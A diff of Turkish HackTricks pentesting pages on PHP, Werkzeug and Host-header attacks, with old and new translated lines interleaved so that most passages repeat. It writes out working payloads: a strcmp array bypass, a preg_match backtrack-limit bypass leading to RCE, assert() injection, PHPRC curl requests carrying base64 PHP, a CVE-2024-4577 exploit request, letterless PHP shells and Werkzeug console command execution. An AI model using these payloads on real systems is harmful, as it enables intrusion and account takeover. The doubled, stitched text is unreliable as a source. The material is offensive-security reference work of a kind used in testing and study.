Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -129,12 +129,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyinelemelerin sayısına bir sınır koymak mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır.
Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığının içine sığacak olandan fazladır.
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\
**Regex'in 100\_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde etmek.**
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:\
**Regex'in 100\_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**.
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki [PHP belgeleri](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) bunun `pcre.backtrack_limit` değişkeninde varsayılan olarak 1\_000\_000 (1M) olduğunu belirtmektedir.\
Aslında, regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki [PHP belgeleri](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) bunun `pcre.backtrack_limit` değişkeninde varsayılan olarak 1\_000\_000 (1M) olduğunu belirtmektedir.\
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -173,15 +173,15 @@ Kontrol et:
## Daha Fazla Hile
* **register\_globals**: **PHP < 4.1.1.1**'de veya yanlış yapılandırıldığında, **register\_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek, kod içinde kullanılan değişkenleri** geçersiz kılabilirsiniz.
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yol çerezinin değerini ayarlayabilirsiniz.\
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli kabul edecektir (çereze path2'deki karşılık gelen ismi vererek).
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayarak diğer yol çerezinin değerini ayarlayabilirsiniz.\
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek).
* Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: **/\~\<USERNAME>**.
* [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD\_DEFAULT genellikle PASSWORD\_BCRYPT ile aynıdır.** Ve şu anda, **PASSWORD\_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması vardır**. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD\_DEFAULT genellikle PASSWORD\_BCRYPT ile aynıdır.** Ve şu anda, **PASSWORD\_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması vardır**. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -193,9 +193,9 @@ True
#### Başlıkları ayarladıktan sonra hata oluşturma
[**bu twitter dizisinden**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP'nin yanıtta başlıkları ayarlamayacağını görebilirsiniz.
[**bu twitter dizisinden**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) görebilirsiniz ki, 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP yanıtında başlıkları ayarlamayacaktır.
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlamaya izin verir:
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını bypass etmeye olanak tanır:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -203,14 +203,14 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Başlıkları ayarlamadan önce bir gövde doldurma
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri dönen bazı **içerikleri yeterince uzun** yazdırmasını sağlayabilir, böylece sunucu **başlıkları** yanıtın içine eklemeye çalıştığında bir hata verecektir.\
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri dönen bazı **içerikleri yeterince uzun** bir şekilde yazdırmasını sağlayabilir, böylece sunucu **başlıkları** yanıtın içine eklemeye çalıştığında bir hata verecektir.\
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar vermesini sağladı** ve ekranda görebileceğiniz gibi PHP başlık bilgilerini **değiştirmeye çalıştığında, başaramadı** (örneğin CSP başlığı kullanıcıya gönderilmedi):
![](<../../../.gitbook/assets/image (1085).png>)
## PHP fonksiyonlarında SSRF
Sayfayı kontrol edin:
Sayfayı kontrol et:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
@ -242,12 +242,12 @@ Bu preg\_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmış
```
### **Assert() ile RCE**
Php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilir. Örneğin:\
Php içindeki bu fonksiyon, **bir dizi içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dizenin ortasına yerleştirilecektir. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Kod **sözdizimini** **bozmanız**, **yüklemenizi** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalıştırılmayacaktır. Aynı şekilde ";" çalışmaz çünkü yüklemeniz çalıştırılmayacaktır.
Kod **sözdizimini** **bozmanız**, **payload**'ınızı **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü payload'ımız çalışmayacaktır.
**Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'`
@ -286,34 +286,34 @@ To discover the number of parenthesis that you need to close:
### **RCE via .httaccess**
If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**).
Eğer **.htaccess** yükleyebiliyorsanız, o zaman birkaç şeyi **yapılandırabilir** ve hatta kod çalıştırabilirsiniz (uzantısı .htaccess olan dosyaların **çalıştırılabilir** olduğunu yapılandırarak).
Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
Farklı .htaccess shell'leri [burada](https://github.com/wireghoul/htshells) bulunabilir.
### RCE via Env Variables
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir zafiyet bulursanız (ve dosya yüklemeye izin veren başka bir zafiyet, daha fazla araştırmayla belki bu aşılabilir), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenizi sağlar (bu durumda çalışmayabilir).
* **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman `PHPRC`'yi PHP'yi ona yönlendirmek için kullanın. İkinci yüklenen dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce çalıştırılan normal **PHP kodunu** içerir.
1. Shellcode içeren bir PHP dosyası yükleyin
2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** direktifi içeren ikinci bir dosya yükleyin
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenize izin verir (bu durumda çalışmayabilir).
* **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman `PHPRC`'yi PHP'yi ona yönlendirmek için kullanın. İkinci bir yüklenmiş dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce **çalıştırılan** normal **PHP kodunu** içerir.
1. Shell kodumuzu içeren bir PHP dosyası yükleyin.
2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** direktifi içeren ikinci bir dosya yükleyin.
3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
* Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi edinin [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) alın.
* **PHPRC** - başka bir seçenek
* Eğer **dosya yükleyemezseniz**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz:
* Eğer **dosya yükleyemiyorsanız**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Ya da RCE almak için **`allow_url_include`**'yi etkinleştirip **base64 PHP kodu** ile bir dosya ekleyin:
* Ya da RCE elde etmek için **`allow_url_include`**'yi etkinleştirip **base64 PHP kodu** ile bir dosya ekleyin:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Teknik [**bu rapordan**](https://vulncheck.com/blog/juniper-cve-2023-36845).
### XAMPP CGI RCE - CVE-2024-4577
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar:
Web sunucusu HTTP isteklerini ayrıştırır ve bunları [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye izin verecektir:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) istismar örneğini kontrol edin.
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) istismar örneğini kontrol edin:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -343,7 +343,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
Eğer bir PHP uygulamasını hata ayıklıyorsanız, `display_errors = On` ekleyerek `/etc/php5/apache2/php.ini` dosyasında hata yazdırmayı global olarak etkinleştirebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
### PHP kodunu deşifre etme
@ -353,9 +353,9 @@ PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net
PHP Wrapper'ları ve protokolleri, bir sistemde **yazma ve okuma korumalarını atlamanıza** ve onu tehlikeye atmanıza olanak tanıyabilir. [**daha fazla bilgi için bu sayfayı kontrol edin**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug kimlik doğrulaması yapılmamış RCE
## Xdebug kimlik doğrulamasız RCE
Eğer `phpconfig()` çıktısında **Xdebug**'ın **etkin** olduğunu görüyorsanız, RCE elde etmeyi denemelisiniz [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
Eğer `phpconfig()` çıktısında **Xdebug**'ın **etkin** olduğunu görüyorsanız, [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) üzerinden RCE elde etmeyi denemelisiniz.
## Değişken değişkenler
```php
@ -369,7 +369,7 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE yeni $\_GET\["a"]\($\_GET\["b")'yi istismar etme
## RCE yeni $\_GET\["a"]\($\_GET\["b")'yi kötüye kullanma
Bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
@ -401,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, rastgele PHP çalıştırmak için o yükü kullanarak aşağıdaki gibi bir istek gönderebilirsiniz:
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, aşağıdaki gibi bir istek gönderebilirsiniz, bu yükü kullanarak rastgele PHP çalıştırmak için:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın; böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -485,7 +485,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -31,11 +31,11 @@ __import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (117).png>)
Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar bulunmaktadır veya metasploit'te bir tane.
İnternette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar da bulunmaktadır veya metasploit'te bir tane.
## Pin Koruması - Yol Geçişi
## Pin Koruması - Yol Traversali
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya traversali açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
### Werkzeug Konsol PIN İstismarı
@ -54,24 +54,24 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub
* **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder.
* **`modname`**: Genellikle `flask.app` olarak adlandırılır.
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask** olarak çözülür.
* **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir.
* **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemelisiniz.
#### **`private_bits`**
* **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir.
* Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini **çıkarmak** gerekir.
* Hexadecimal bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
* **Sunucunun MAC adresini belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulabilir, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini **çıkarabilirsiniz**.
* Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
```python
# Örnek MAC adresi: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri alır ve `/proc/self/cgroup`'un son slash (`/`) sonrası ilk satırı ile birleştirir.
* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri alır ve `/proc/self/cgroup`'un sonundaki son satırı (`/`) ile birleştirir.
<details>
<summary>`get_machine_id()` için kod</summary>
<summary>`get_machine_id()` için Kod</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
@ -169,7 +169,7 @@ Eğer **eski bir sürüm** Werkzeug kullanıyorsanız, **hashing algoritmasını
[**bu sorun**](https://github.com/pallets/werkzeug/issues/2833)'da gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir.
Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasıdır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantıık kalacaktır, bu nedenle isteğin **gövdesi** bir **sonraki HTTP isteği** olarak işlenecektir.
Bu, Werkzeug'ta bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasındandır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantıık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki **HTTP isteği** olarak işlenecektir.
## Otomatik Sömürü
@ -184,7 +184,7 @@ Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümk
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, sömürülebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik sömürüleri kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -200,7 +200,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek hacking ipuçlarını paylaşın.
</details>
{% endhint %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -25,7 +25,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Host başlığı
Arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenebilir. Örneğin, değerini **şifre sıfırlamak için kullanılacak alan adı** olarak kullanabilir. Bu nedenle, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığına koyduğunuz o alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrol ettiğiniz bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
